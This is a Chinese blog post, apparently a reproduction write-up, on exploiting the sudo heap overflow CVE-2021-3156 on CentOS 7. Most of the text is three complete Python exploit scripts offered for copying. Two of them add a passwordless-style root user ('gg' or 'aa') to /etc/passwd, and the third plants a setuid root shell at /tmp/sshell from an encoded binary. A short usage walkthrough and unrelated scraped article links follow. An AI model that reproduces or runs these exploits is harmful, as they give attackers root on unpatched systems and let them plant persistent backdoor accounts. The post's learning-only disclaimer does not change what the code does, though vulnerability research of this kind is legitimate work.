免责声明:

本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

0x00 漏洞概述

2021年1月26日,Linux安全工具sudo被发现严重的基于堆缓冲区溢出漏洞。利用这一漏洞,攻击者无需知道用户密码,一样可以获得root权限,并且是在默认配置下。此漏洞已分配为CVE-2021-3156,危险等级评分为7分。漏洞发生的原因在于sudo错误地转义了参数中的反斜杠。

0x01 漏洞原理

当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

0x02 受影响版本

Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1

0x03 不受影响版本

sudo =>1.9.5p2

0x04 漏洞复现(centos)

1.注意一点网上传的输入sudoedit -s / 然后查看回显这个方法不准确,一定要手动验证
2.注意一点如果是在webshell提取一定要用交互式的shell

复现POC1:

首先创建一个centos虚拟机,查看版本
可以看到如上图,Linux版本是centos7.9 sudo版本是1.8.23
创建一个低权限账账户。
使用一个python版本的,这个版本可以针对默认配置的centos进行攻击。
如果不想去下载可以直接复制下面的代码

#!/usr/bin/python
'''
Exploit for CVE-2021-3156 on CentOS 7 by sleepya Simplified version of exploit_userspec.py for easy understanding.
- Remove all checking code
- Fixed all offset (no auto finding) Note: This exploit only work on sudo 1.8.23 on CentOS 7 with default configuration Note: Disable ASLR before running the exploit (also modify STACK_ADDR_PAGE below) if you don't want to wait for bruteforcing
'''
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit" PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n"; #STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
STACK_ADDR_PAGE = 0x7fffe5d35000 libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp) def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
# parent
_, exit_code = os.waitpid(pid, 0)
return exit_code
else:
# child
execve(filename, cargv, cenvp)
exit(0) def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
return spawn_raw(filename, cargv, cenvp) resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)) # expect large hole for cmnd size is correct
TARGET_CMND_SIZE = 0x1b50 argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ] SA = STACK_ADDR_PAGE ADDR_REFSTR = pack('<Q', SA+0x20) # ref string ADDR_PRIV_PREV = pack('<Q', SA+0x10)
ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec
ADDR_MEMBER_PREV = pack('<Q', SA+0x20) ADDR_DEF_VAR = pack('<Q', SA+0x10)
ADDR_DEF_BINDING = pack('<Q', SA+0x30) OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA+OFFSET)
ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)
ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)
ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60) # for spraying
epage = [
'A'*0x8 + # to not ending with 0x00 # fake def->var chunk (get freed)
'\x21', '', '', '', '', '', '',
ADDR_PRIV[:6], '', # pointer to privilege
ADDR_CMND[:6], '', # pointer to cmndspec
ADDR_MEMBER[:6], '', # pointer to member # fake def->binding (list head) (get freed)
'\x21', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', # members.first
'A'*0x10 + # members.last, pad # userspec chunk (get freed)
'\x41', '', '', '', '', '', '', # chunk metadata
'', '', '', '', '', '', '', '', # entries.tqe_next
'A'*8 + # entries.tqe_prev
'', '', '', '', '', '', '', '', # users.tqh_first
ADDR_MEMBER[:6]+'', '', # users.tqh_last
'', '', '', '', '', '', '', '', # privileges.tqh_first
ADDR_PRIV[:6]+'', '', # privileges.tqh_last
'', '', '', '', '', '', '', '', # comments.stqh_first # member chunk
'\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)
ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string)
'A'*8 + # member.name (can be any because this object is not freed)
pack('<H', 284), '', # type, negated
'A'*0xc+ # padding # cmndspec chunk
'\x61'*0x8 + # chunk metadata (need only prev_inuse flag)
'A'*0x8 + # entries.tqe_next
ADDR_CMND_PREV[:6], '', # entries.teq_prev
'', '', '', '', '', '', '', '', # runasuserlist
'', '', '', '', '', '', '', '', # runasgrouplist
ADDR_MEMBER[:6], '', # cmnd
'\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter
'', '', '', '', '', '', '', '', # role
'', '', '', '', '', '', '', '', # type
'A'*8 + # padding # privileges chunk
'\x51'*0x8 + # chunk metadata
'A'*0x8 + # entries.tqe_next
ADDR_PRIV_PREV[:6], '', # entries.teq_prev
'A'*8 + # ldap_role
'A'*8 + # hostlist.tqh_first
ADDR_MEMBER[:6], '', # hostlist.teq_last
'A'*8 + # cmndlist.tqh_first
ADDR_CMND[:6], '', # cmndlist.teq_last
] cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P'*(padlen-1)) env = [
"A"*(7+0x4010 + 0x110) + # overwrite until first defaults
"\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",
"A"*0x18 +
# defaults
"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next
'a'*8 + # prev
ADDR_DEF_VAR[:6]+'\\', '\\', # var
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val
ADDR_DEF_BINDING[:6]+'\\', '\\', # binding
ADDR_REFSTR[:6]+'\\', '\\', # file
"Z"*0x8 + # type, op, error, lineno
"\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)
'C'*0x638+ # need prev_inuse and overwrite until userspec
'B'*0x1b0+
# userspec chunk
# this chunk is not used because list is traversed with curr->prev->prev->next
"\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack
"A"*8 + # entries.tqe_prev
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first
ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first "LC_ALL=C",
"SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd
"TZ=:",
] ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
env.extend(epage) # last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH)-1-8] env.append(None) cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env) # write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'w')
w.write(APPEND_CONTENT)
w.close() null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2) for i in range(8192):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
if exit_code == 0:
print("success at %d" % i)
break

使用低权限账户运行exploit_cent7_userspec.py
像这种运行结束什么也没显示就是失败了。

如果运行失败的话多运行几遍,有的运行5.6遍才运行成功,这是第二次运行的,可以看到已经运行成功。
gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash success at 490
后面这个490表示运行第490次成功。

成功之后会自动生成一个用户名为gg,密码为gg的root权限用户,成功提权,whoami可以看到是root权限

复现POC2:

这个POC是吐司上面下载的。

#!/usr/bin/python
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER SUDO_PATH = b"/usr/bin/sudo" PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"aa:$5$AZaSmJBP$lsgF8hex//kd.G4XxUJGaS618ZtYoQ796UpkM/8Ucm3:0:0:gg:/root:/bin/bash\n"; #STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
STACK_ADDR_PAGE = 0x7fffe5d35000 libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp) def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
# parent
_, exit_code = os.waitpid(pid, 0)
return exit_code
else:
# child
execve(filename, cargv, cenvp)
exit(0) def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
return spawn_raw(filename, cargv, cenvp) resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)) # expect large hole for cmnd size is correct
TARGET_CMND_SIZE = 0x1b50 argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ] SA = STACK_ADDR_PAGE ADDR_REFSTR = pack('<Q', SA+0x20) # ref string ADDR_PRIV_PREV = pack('<Q', SA+0x10)
ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec
ADDR_MEMBER_PREV = pack('<Q', SA+0x20) ADDR_DEF_VAR = pack('<Q', SA+0x10)
ADDR_DEF_BINDING = pack('<Q', SA+0x30) OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA+OFFSET)
ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)
ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)
ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60) # for spraying
epage = [
'A'*0x8 + # to not ending with 0x00 # fake def->var chunk (get freed)
'\x21', '', '', '', '', '', '',
ADDR_PRIV[:6], '', # pointer to privilege
ADDR_CMND[:6], '', # pointer to cmndspec
ADDR_MEMBER[:6], '', # pointer to member # fake def->binding (list head) (get freed)
'\x21', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', # members.first
'A'*0x10 + # members.last, pad # userspec chunk (get freed)
'\x41', '', '', '', '', '', '', # chunk metadata
'', '', '', '', '', '', '', '', # entries.tqe_next
'A'*8 + # entries.tqe_prev
'', '', '', '', '', '', '', '', # users.tqh_first
ADDR_MEMBER[:6]+'', '', # users.tqh_last
'', '', '', '', '', '', '', '', # privileges.tqh_first
ADDR_PRIV[:6]+'', '', # privileges.tqh_last
'', '', '', '', '', '', '', '', # comments.stqh_first # member chunk
'\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)
ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string)
'A'*8 + # member.name (can be any because this object is not freed)
pack('<H', 284), '', # type, negated
'A'*0xc+ # padding # cmndspec chunk
'\x61'*0x8 + # chunk metadata (need only prev_inuse flag)
'A'*0x8 + # entries.tqe_next
ADDR_CMND_PREV[:6], '', # entries.teq_prev
'', '', '', '', '', '', '', '', # runasuserlist
'', '', '', '', '', '', '', '', # runasgrouplist
ADDR_MEMBER[:6], '', # cmnd
'\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter
'', '', '', '', '', '', '', '', # role
'', '', '', '', '', '', '', '', # type
'A'*8 + # padding # privileges chunk
'\x51'*0x8 + # chunk metadata
'A'*0x8 + # entries.tqe_next
ADDR_PRIV_PREV[:6], '', # entries.teq_prev
'A'*8 + # ldap_role
'A'*8 + # hostlist.tqh_first
ADDR_MEMBER[:6], '', # hostlist.teq_last
'A'*8 + # cmndlist.tqh_first
ADDR_CMND[:6], '', # cmndlist.teq_last
] cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P'*(padlen-1)) env = [
"A"*(7+0x4010 + 0x110) + # overwrite until first defaults
"\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",
"A"*0x18 +
# defaults
"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next
'a'*8 + # prev
ADDR_DEF_VAR[:6]+'\\', '\\', # var
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val
ADDR_DEF_BINDING[:6]+'\\', '\\', # binding
ADDR_REFSTR[:6]+'\\', '\\', # file
"Z"*0x8 + # type, op, error, lineno
"\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)
'C'*0x638+ # need prev_inuse and overwrite until userspec
'B'*0x1b0+
# userspec chunk
# this chunk is not used because list is traversed with curr->prev->prev->next
"\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack
"A"*8 + # entries.tqe_prev
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first
ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first "LC_ALL=C",
"SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd
"TZ=:",
] ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
env.extend(epage) # last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH)-1-8] env.append(None) cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env) # write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'w')
w.write(APPEND_CONTENT)
w.close() null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2) for i in range(8192):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
if exit_code == 0:
print("success at %d" % i)
break

跟上面一样的操作,唯一不同的是这个poc运行成功会生成一个用户名为aa 密码为 wwwroot用户
还有就是这个poc只能适用于默认配置的centos7
成功运行。

复现POC3:

这个POC跟上面poc2都是吐司的,然后这个poc有点不一样的是运行成功之后输入目录/tmp/sshell可以直接进入root权限。

#!/usr/bin/python
import os
import subprocess
import sys
import resource
import select
import signal
from struct import pack
from ctypes import cdll, c_char_p, POINTER SUDO_PATH = b"/usr/bin/sudo" SHELL_PATH = b"/tmp/gg" # a shell script file executed by sudo (max length is 31)
SUID_PATH = "/tmp/sshell" # a file that will be owned by root and suid
PWNED_PATH = "/tmp/pwned" # a file that will be created after SHELL_PATH is executed libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)) def create_bin(bin_path):
if os.path.isfile(bin_path):
return # existed
try:
os.makedirs(bin_path[:bin_path.rfind('/')])
except:
pass import base64, zlib
bin_b64 = 'eNqrd/VxY2JkZIABJgY7BhCvgsEBzHdgwAQODBYMMB0gmhVNFpmeCuXBaAYBCJWVGcHPmpUFJDx26Cdl5ukXZzAEhMRnWUfM5GcFAGyiDWs='
with open(bin_path, 'wb') as f:
f.write(zlib.decompress(base64.b64decode(bin_b64))) def create_shell(path, suid_path):
with open(path, 'w') as f:
f.write('#!/bin/sh\n')
f.write('/usr/bin/id >> %s\n' % PWNED_PATH)
f.write('/bin/chown root.root %s\n' % suid_path)
f.write('/bin/chmod 4755 %s\n' % suid_path)
os.chmod(path, 0o755) def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp) def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
# parent
_, exit_code = os.waitpid(pid, 0)
return exit_code
else:
# child
execve(filename, cargv, cenvp)
exit(0) def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(envp))(*envp)
# Note: error with backtrace is print to tty directly. cannot be piped or suppressd
r, w = os.pipe()
pid = os.fork()
if not pid:
# child
os.close(r)
os.dup2(w, 2)
execve(filename, cargv, cenvp)
exit(0)
# parent
os.close(w)
# might occur deadlock in heap. kill it if timeout and set exit_code as 6
# 0.5 second should be enough for execution
sr, _, _ = select.select([ r ], [], [], 0.5)
if not sr:
os.kill(pid, signal.SIGKILL)
_, exit_code = os.waitpid(pid, 0)
if not sr: # timeout, assume dead lock in heap
exit_code = 6 if 128 < exit_code < 256:
exit_code -= 128
r = os.fdopen(r, 'r')
err = r.read()
r.close()
return exit_code, err def has_askpass(err):
# 'sudoedit: no askpass program specified, try setting SUDO_ASKPASS'
return 'sudoedit: no askpass program ' in err def get_sudo_version():
proc = subprocess.Popen([SUDO_PATH, '-V'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
for line in proc.stdout:
line = line.strip()
if not line:
continue
if line.startswith('Sudo '):
txt = line[12:].strip()
pos = txt.rfind('p')
if pos != -1:
txt = txt[:pos]
versions = list(map(int, txt.split('.')))
break proc.wait()
return versions def check_sudo_version():
sudo_vers = get_sudo_version()
assert sudo_vers[0] == 1, "Unexpect sudo major version"
assert sudo_vers[1] == 8, "Unexpect sudo minor version"
return sudo_vers[2] def check_mailer_root():
if not os.access(SUDO_PATH, os.R_OK):
print("Cannot determine disble-root-mailer flag")
return True
return subprocess.call(['grep', '-q', 'disable-root-mailer', SUDO_PATH]) == 1 def find_cmnd_size():
argv = [ b"sudoedit", b"-A", b"-s", b"", None ]
env = [ b'A'*(7+0x4010+0x110-1), b"LC_ALL=C", b"TZ=:", None ] size_min, size_max = 0xc00, 0x2000
found_size = 0
while size_max - size_min > 0x10:
curr_size = (size_min + size_max) // 2
curr_size &= 0xfff0
print("\ncurr size: 0x%x" % curr_size)
argv[-2] = b"\xfc"*(curr_size-0x10)+b'\\'
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\nexit code: %d" % exit_code)
print(err)
if exit_code == 256 and has_askpass(err):
# need pass. no crash.
# fit or almost fit
if found_size:
found_size = curr_size
break
# maybe almost fit. try again
found_size = curr_size
size_min = curr_size
size_max = curr_size + 0x20
elif exit_code in (7, 11):
# segfault. too big
if found_size:
break
size_max = curr_size
else:
assert exit_code == 6
# heap corruption. too small
size_min = curr_size if found_size:
return found_size
assert size_min == 0x2000 - 0x10
# old sudo version and file is in /etc/sudoers.d
print('has 2 holes. very large one is bad') size_min, size_max = 0xc00, 0x2000
for step in (0x400, 0x100, 0x40, 0x10):
found = False
env[0] = b'A'*(7+0x4010+0x110-1+step+0x100)
for curr_size in range(size_min, size_max, step):
argv[-2] = b"A"*(curr_size-0x10)+b'\\'
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\ncurr size: 0x%x" % curr_size)
print("\nexit code: %d" % exit_code)
print(err)
if exit_code in (7, 11):
size_min = curr_size
found = True
elif found:
print("\nsize_min: 0x%x" % size_min)
break
assert found, "Cannot find cmnd size"
size_max = size_min + step # TODO: verify
return size_min def find_defaults_chunk(argv, env_prefix):
offset = 0
pos = len(env_prefix) - 1
env = env_prefix[:]
env.extend([ b"LC_ALL=C", b"TZ=:", None ])
# overflow until sudo crash without asking pass
# crash because of defaults.entries.next is overwritten
while True:
env[pos] += b'A'*0x10
exit_code, err = spawn(SUDO_PATH, argv, env)
# 7 bus error, 11 segfault
if exit_code in (7, 11) and not has_askpass(err):
# found it
env[pos] = env[pos][:-0x10]
break
offset += 0x10 # verify if it is defaults
env = env[:-3]
env[-1] += b'\x41\\' # defaults chunk size 0x40
env.extend([
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\',
(b'' if has_tailq else b'A'*8) + # prev if no tailq
b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # entries.next
(b'A'*8 if has_tailq else b'') + # entries.prev
pack("<Q", 0xffffffffff600000+0x880) + # var (use vsyscall for testing)
b"A"*(0x20-1), # binding, file, type, op, error, lineno
b"LC_ALL=C", b"TZ=:", None
]) exit_code, err = spawn(SUDO_PATH, argv, env)
# old sudo verion has no cleanup if authen fail. exit code is 256.
assert exit_code in (256, 11) and has_askpass(err), "cannot find defaults chunk"
return offset def create_env(offset_defaults):
with open('/proc/sys/kernel/randomize_va_space') as f:
has_aslr = int(f.read()) != 0
if has_aslr:
STACK_ADDR_PAGE = 0x7fffe5d35000
else:
STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled SA = STACK_ADDR_PAGE ADDR_MEMBER_PREV = pack('<Q', SA+8)
ADDR_MEMBER_LAST = ADDR_MEMBER_PREV ADDR_MEMBER = pack('<Q', SA+0x20)
ADDR_DEF_BINDING = ADDR_MEMBER ADDR_MAILER_VAR = pack('<Q', SA+0x20+0x30)
ADDR_MAILER_VAL = pack('<Q', SA+0x20+0x30+0x10) ADDR_ALWAYS_VAR = pack('<Q', SA+0x20+0x30+0x10+0x20)
ADDR_DEF_BAD = pack('<Q', SA+0x20+0x30+0x10+0x20+0x10) # no need to make cleanup without a crash. mailer is executed before cleanup steps
# def_mailto is always set
# def_mailerflags is mailer arguments
epage = [
b'A'*0x8 + # to not ending with 0x00 ADDR_MEMBER[:6], b'', # pointer to member
ADDR_MEMBER_PREV[:6], b'', # pointer to member # member chunk (and defaults->binding (list head))
b'A'*8 + # chunk size
b'', b'', b'', b'', b'', b'', b'', b'', # members.first
ADDR_MEMBER_LAST[:6], b'', # members.last
b'A'*8 + # member.name (can be any because this object is freed as list head (binding))
pack('<H', MATCH_ALL), b'', # type, negated
b'A'*0xc + # padding # var (mailer)
b'A'*8 + # chunk size
b"mailerpath", b'A'*5 +
# val (mailer) (assume path length is less than 32)
SHELL_PATH, b'A'*(0x20-len(SHELL_PATH)-1) +
# var (mail_always)
b"mail_always", b'A'*4 + # defaults (invalid mail_always, has val)
(b'' if has_tailq else b'A'*8) + # prev if no tailq
b'', b'', b'', b'', b'', b'', b'', b'', # next
(b'A'*8 if has_tailq else b'') + # prev if has tailq
ADDR_ALWAYS_VAR[:6], b'', # var
ADDR_ALWAYS_VAR[:6], b'', # val (invalid defaults mail_always, trigger sendmail immediately)
ADDR_DEF_BINDING[:6], b'', # binding or binding.first
]
if has_file:
epage.extend([ ADDR_ALWAYS_VAR[:6], b'' ]) # file
elif not has_tailq:
epage.extend([ ADDR_MEMBER[:6], b'' ]) # binding.last
epage.extend([
pack('<H', DEFAULTS_CMND) + # type
b'', b'', # for type is 4 bytes version
]) env = [
b'A'*(7+0x4010+0x110+offset_defaults) +
b'A'*8 + # chunk metadata
(b'' if has_tailq else b'A'*8) + # prev if no tailq
ADDR_DEF_BAD[:6]+b'\\', b'\\', # next
(b'A'*8 if has_tailq else b'') + # prev if has tailq
ADDR_MAILER_VAR[:6]+b'\\', b'\\', # var
ADDR_MAILER_VAL[:6]+b'\\', b'\\', # val
ADDR_DEF_BINDING[:6]+b'\\', b'\\', # binding or bind.first
]
if has_file or not has_tailq:
env.extend([ ADDR_MEMBER[:6]+b'\\', b'\\' ]) # binding.last or file (no use)
env.extend([
pack('<H', DEFAULTS_CMND) + # type
(b'\x01' if has_file else b'\\'), b'', # if not has_file, type is int (4 bytes)
b"LC_ALL=C",
b"TZ=:",
b"SUDO_ASKPASS=/invalid",
]) cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append(b'P'*(padlen-1)) ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 // 4):
env.extend(epage) # reserve space in last element for '/usr/bin/sudo' and padding
env[-1] = env[-1][:-14-8]
env.append(None)
return env def run_until_success(argv, env):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env) create_bin(SUID_PATH)
create_shell(SHELL_PATH, SUID_PATH) null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2) for i in range(65536):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
if os.path.exists(PWNED_PATH):
print("success at %d" % i)
if os.stat(PWNED_PATH).st_uid != 0:
print("ROOT MAILER is disabled :(")
break
if exit_code not in (7, 11):
print("invalid offset. exit code: %d" % exit_code)
break def main():
cmnd_size = int(sys.argv[1], 0) if len(sys.argv) > 1 else None
offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None if cmnd_size is None:
cmnd_size = find_cmnd_size()
print("found cmnd size: 0x%x" % cmnd_size) argv = [ b"sudoedit", b"-A", b"-s", b"A"*(cmnd_size-0x10)+b"\\", None ] env_prefix = [ b'A'*(7+0x4010+0x110) ] if offset_defaults is None:
offset_defaults = find_defaults_chunk(argv, env_prefix)
assert offset_defaults != -1 print('')
print("cmnd size: 0x%x" % cmnd_size)
print("offset to defaults: 0x%x" % offset_defaults) argv = [ b"sudoedit", b"-A", b"-s", b"A"*(cmnd_size-0x10)+b"\\", None ]
env = create_env(offset_defaults)
run_until_success(argv, env) if __name__ == "__main__":
# global intialization
assert check_mailer_root(), "root mailer is disabled"
sudo_ver = check_sudo_version()
DEFAULTS_CMND = 269
if sudo_ver >= 15:
MATCH_ALL = 284
elif sudo_ver >= 13:
MATCH_ALL = 282
elif sudo_ver >= 7:
MATCH_ALL = 280
elif sudo_ver < 7:
MATCH_ALL = 279
DEFAULTS_CMND = 268 has_tailq = sudo_ver >= 9
has_file = sudo_ver >= 19 # has defaults.file pointer
main()

成功运行

可以看到是root权限

免责声明:

仅限授权安全测试使用,禁止未授权非法攻击站点。本文章仅供学习和研究使用。严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

实战中的sudo提权漏洞的使用姿势(CVE-2021-3156)的更多相关文章

  1. 2019-10-16,sudo提权漏洞(CVE-2019-14287)实现

    sudo是linux系统命令,让普通账号以root身份执行某些命令,比如,安装软件,查看某些配置文件,关机,重启等,如果普通用户需要使用sudo需要修改配置文件,/etc/sudoers,将sudo使 ...

  2. sudo 提权漏洞(CVE-2019-14287)复现 (10.16 第二十二天)

    sudo是Linux系统命令,让普通账号以root身份去执行某些命令,比,安装软件.查看某些配置文件.关机.重启等操作,如果普通账号需要使用sudo需要修改配置文件/etc/sudoers,将sudo ...

  3. sudo 提权漏洞(CVE-2019-14287)复现

    (该文参考网络他人资料,仅为学习,不许用于非法用途) 一.环境 1.sudo版本小于1.8.28的Linux系统 2.sudo 是Linux系统命令,让普通账号以root身份去执行某些命令,比如:安装 ...

  4. linux CVE-2019-14287 Sudo提权漏洞

    CVE-2019-14287 sudo介绍 sudo,也就是以超级管理员身份运行(superuser do)的意思.sudo 是 Linux 中最常使用的重要实用程序之一,它功能十分强大,几乎安装在每 ...

  5. Linux Kernel ‘perf’ Utility 本地提权漏洞

    漏洞名称: Linux Kernel ‘perf’ Utility 本地提权漏洞 CNNVD编号: CNNVD-201309-050 发布时间: 2013-09-09 更新时间: 2013-09-09 ...

  6. Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞

    漏洞名称: Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞 CNNVD编号: CNNVD-201306-343 发布时间: 2013-06-20 更新时间 ...

  7. Ubuntu无法sudo提权,报当前用户不在sudoers文件中错误

    Ubuntu安装后默认root不能登陆系统,密码也是随机生成,其他用户使用root权限,可以使用sudo提权,前提是该用户在/etc/sudoers配置列表中. 但是有时用户名从/etc/sudoer ...

  8. CVE-2016-1240 Tomcat 服务本地提权漏洞

    catalogue . 漏洞背景 . 影响范围 . 漏洞原理 . 漏洞PoC . 修复方案 1. 漏洞背景 Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容 ...

  9. Linux内核通杀提权漏洞CVE-2016-5195验证

    一.漏洞简介 CVE-2016-5195这个漏洞是linux内核级的本地提权漏洞,原理是linux内核内存子系统在 处理私有只读存储映射的写入时复制机制发现了一个冲突条件.这个漏洞官方给出的影响范围是 ...

  10. msf利用- windows内核提权漏洞

    windows内核提权漏洞 环境: Kali Linux(攻击机) 192.168.190.141 Windows2003SP2(靶机) 192.168.190.147 0x01寻找可利用的exp 实 ...

随机推荐

  1. Java开发学习(二十八)----拦截器(Interceptor)详细解析

    一.拦截器概念 讲解拦截器的概念之前,我们先看一张图: (1)浏览器发送一个请求会先到Tomcat的web服务器 (2)Tomcat服务器接收到请求以后,会去判断请求的是静态资源还是动态资源 (3)如 ...

  2. Linux_etc-passwd文件总结

    文件内容 ## # User Database # # Note that this file is consulted directly only when the system is runnin ...

  3. webpack打包优化点

    目录 1. noParse 2. 包含和排除目录 3. IgnorePlugin 4. happypack 5. DllPlugin动态链接库 6. 热更新 7. 开发环境 tree-shaking ...

  4. .NET 7 来了!!!

